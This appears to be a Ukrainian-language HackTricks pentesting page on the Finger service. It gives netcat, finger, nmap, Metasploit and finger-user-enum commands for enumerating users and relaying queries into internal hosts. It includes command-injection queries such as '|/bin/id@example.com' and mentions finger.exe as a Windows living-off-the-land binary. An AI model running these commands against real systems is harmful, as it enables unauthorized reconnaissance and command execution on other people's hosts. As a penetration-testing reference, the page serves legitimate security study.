79 - Pentesting Finger
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Програма/служба Finger використовується для отримання відомостей про користувачів комп’ютера. Зазвичай надавана інформація включає логін користувача, повне ім’я, а інколи — додаткові деталі. Ці додаткові дані можуть включати розташування офісу та номер телефону (якщо доступні), час входу користувача, період неактивності (idle time), останній раз, коли користувач прочитав пошту, та вміст файлів користувача .plan / .project.
З погляду pentesting, Finger все ще цікавий, оскільки протокол надзвичайно малий, зрозумілий людині, і часто реалізований із застарілою логікою розбору. Демон може розкрити:
- користувачі, що наразі увійшли
- повні імена / GECOS data
- домашні каталоги, shells, часи останнього входу та TTYs
- вміст
.plan/.project - relay behaviour для опитування другого хоста через перший
Порт за замовчуванням: 79
PORT STATE SERVICE
79/tcp open finger
Enumeration
Banner Grabbing/Базове з’єднання
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
Протокол — ASCII over TCP/79, зазвичай завершується CRLF, а після відповіді server closes the TCP connection. На практиці пустий запит (\r\n) часто достатній, щоб отримати поточний список користувачів, що саме й робить стандартний скрипт finger NSE від Nmap.
User enumeration
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Альтернативно ви можете використовувати finger-user-enum з pentestmonkey, ось декілька прикладів:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Важлива особливість Finger enumeration полягає в тому, що між daemons немає суворого формату відповіді.
Інструменти, такі як finger-user-enum, добре працюють проти Solaris-style services, оскільки valid і invalid користувачі створюють різні текстові макети, але вам може знадобитися вручну порівняти positive і negative відповіді та адаптувати regexes, якщо цільовий daemon поводиться нетипово.
Корисні запити, коли daemon поводиться не як стандартний Solaris/BSD:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap виконати скрипт, використовуючи default scripts
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
Скрипт Nmap finger NSE є безпечним і просто надсилає null query для отримання поточного списку користувачів. Якщо ви хочете ширше вгадування username проти permissive daemons, розгляньте розширення підходу за допомогою кастомних wordlists або використання проектів, таких як fat-finger.nse, які надсилають кілька ймовірних account names в одному запиті та шукають відповідності username/GECOS.
Metasploit використовує більше хитрощів, ніж Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Виконання команд
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 явно дозволяє реалізаціям виконувати програму під контролем користувача у відповіді на запит Finger, звідки походить класичне зловживання |/bin/.... Сьогодні це рідкість, але якщо ви знайдете нестандартний або застарілий демон, ретельно перевіряйте на:
- shell метасимволи в обробці імені користувача
- виконання
|programв хуках plan/project - бекенд-обгортки, які передають ім’я користувача в shell-скрипт або CGI
Також пам’ятайте про client-side шлях зловживання на Windows: finger.exe — підписаний LOLBIN, який може отримати довільний текст з віддаленого Finger сервера по TCP/79, а потім передати цей вивід в інший процес. Ця техніка більше стосується post-exploitation, ніж service enumeration, тому дивіться the Linux reverse-shell page для ідеї shell-транспорту і майте це на увазі при емулюванні attacker tradecraft.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Це не просто особливість реалізації: RFC 1288 визначає рекурсивну переадресацію @hostname (запити {Q2}). Якщо демон підтримує relaying, то проміжний сервер відкриває друге з’єднання Finger замість вас і повертає відповідь по початковому socket. Це означає:
- ваш хост може не підключатися безпосередньо до кінцевої цілі
- the relay може бути використаний для переліку внутрішніх користувачів з відкритої служби Finger
finger-user-enumпідтримує це безпосередньо з-r <relay>
Приклад:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Якщо ретрансляція працює, використовуйте її як внутній recon-примітив та порівняйте ретрансляційний вивід з прямим виводом публічного daemon’а. Різне форматування або фільтрація часто виявляють, чи обробляється шлях ретрансляції окремим backend’ом або wrapper’ом.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


